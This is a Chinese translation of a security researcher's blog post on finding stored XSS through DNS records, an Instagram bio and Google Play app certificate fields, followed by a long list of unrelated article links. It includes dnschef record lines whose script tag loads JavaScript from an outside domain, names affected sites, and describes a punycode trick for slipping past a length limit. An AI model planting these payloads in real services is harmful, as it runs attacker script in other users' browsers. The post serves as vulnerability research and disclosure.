我们要在任何可能的地方测试XSS漏洞
在这篇文章中,我准备跟大家讨论几种不同的场景,在这些场景中,不同的服务都会收集各种各样的数据,但它们又无法正确地去处理这些数据。在某些情况下,数据采用的是安全格式存储和传输的,但是由于数据的解析操作以及进一步处理的过程中存在安全问题,将导致无害的字符串变成攻击向量。
XSS和DNS
如果你在搜索引擎中搜索“通过DNS实现XSS”(XSS via DNS)的相关话题,你将会看到类似【参考资料一】和【参考资料二】这种介绍如何在TXT记录中传递XSS攻击向量的文章。但是为什么没有人考虑过其他类型的记录呢?比如说CNAME或NS之类的。因为如果你想把域名作为一个攻击向量的话,你还需要创建自己的NS服务器。
也许使用DNSCHEF会是一个好主意。
我使用的子域名是hack.bo0om.ru(任何子域名都可以),并且将我的IP设置成了该域名的NS服务器。接下来修改dnschef.ini并完成dnschef的配置,添加下列记录:
[MX] *.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js>[NS] *.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js>[CNAME]*.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js>
如果某个在线服务得到了DNS数据之后还将它们打印在了屏幕上,只能说明该服务忘记过滤掉这些数据了。
下面是一些存在XSS漏洞的例子:
· who.is · robtex.com · dnsqueries.com · etc
XSS和Instagram
有一次我只是为了好玩,然后将一段XSS Payload添加到了我Instagram的个人状态中。一开始没发生什么有趣的事,而且这个XSS Payload也是没有攻击性的。
但是之后我发现,这个XSS Payload竟然在另外的域名和在线服务中起作用了,从我的Web服务器日志记录来看,这些域名貌似指向的是社交网络解析器和一些分析服务。下面给出的是其中部分示例:
· findgram.me · imgrab.com · instagy.com · iconosquare.com · tofo.me · photo.sh · gramosphere.com
不过其中有一部分已经修复了这个漏洞。
XSS和Google Play
最近,@Black2Fan给我发了一条信息,并问我能不能够在Google Play应用商店上传存在XSS漏洞的Android App。我当时都不知道竟然还有这种操作!但我感觉可行。于是我自己弄了一个App,然后为这个App生成了一个证书,并将其中的开发者名称和其他数据用XSS向量进行了替换。
我用一些包含恶意代码的文件以及文件路径组成了一个有效的页面标签,并从我自己的域名加载相应的脚本文件。
注:Linux系统支持在文件名中使用特殊字符。
虽然我们可以在文件名中注入自己的脚本代码,但坏消息是这里有30个字符的限制。不幸的是,我手上可以使用的域名都有点长,而且那些只有一个或两个字符的域名估计都已经被注册掉了。但是在现代Web中,你可以使用punycode编码来注册域名,而且现在还有很多免费的punycode域名没有被注册。比如说xn—g3h。所以我注册了一个.ws域名(请参考下图,有个符号这里打不出来,包括点号在内一共四个字符)。
这个App目前仍然可以在Google Play应用商店中找到【传送门】,但是它随时可能被删掉。
而且更加有趣的是,当我将这个App上传到VirusTotal之后,其中的XSS向量竟然触发了反病毒产品Web端面板中的漏洞。哈哈哈…而且除了VirusTotla之外,还有两家天朝的安全厂商也存在这种问题,但这里我就不直接提他们的名字了。
总结
作为一个Bug Hunter,虽然我这一次的发现没能拿到漏洞奖金,但希望可以给大家提供一种新的挖洞思路,其实我也只是为了好玩而已:D不喜勿喷
- 快速全面构建大数据认知体系
- 谈谈分布式事务之二:基于DTC的分布式事务管理模型[上篇]
- ConcurrencyMode.Multiple 模式下的WCF服务就一定是并发执行的吗:探讨同步上下文对并发的影响[下篇]
- 谈谈分布式事务之二:基于DTC的分布式事务管理模型[上篇]
- 学习SpringMVC——拦截器
- 学习SpringMVC——国际化+上传+下载
- 行业研究:大数据(一)
- 控制并发访问的三道屏障: WCF限流(Throttling)体系探秘[下篇]
- 如何通过VPC在本机搭建局域网
- 你常用的10个MySQL命令
- WCF技术剖析之三十一: WCF事务编程[下篇]
- WCF技术剖析之三十一:WCF事务编程[上篇]
- 学习SpringMVC——你们要的REST风格的CRUD来了
- 并发中的同步--WCF并发体系的同步机制实现
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 用Gaussian做CASSCF计算
- 用Gaussian 16计算振动分辨的紫外-可见吸收光谱
- graylog日志分析系统上手教程
- 使用Seq搭建免费的日志服务
- 拜托!这才是分布式系统CAP的正确打开方式!
- 接口管理这下总会了吧?
- 交子杯 - 2020 - AI赛道 - TOP1
- Valine 一款快速、简洁且高效的无后端评论系统
- 两段有趣的C代码
- 算法数据结构 | 三个步骤完成强连通分量分解的Kosaraju算法
- 并查集算法 详解
- SQL 中 EXISTS 用法详解
- Blazor带我重玩前端(六)
- PB 级大规模 Elasticsearch 集群运维与调优实践
- MySQL实时在线备份恢复方案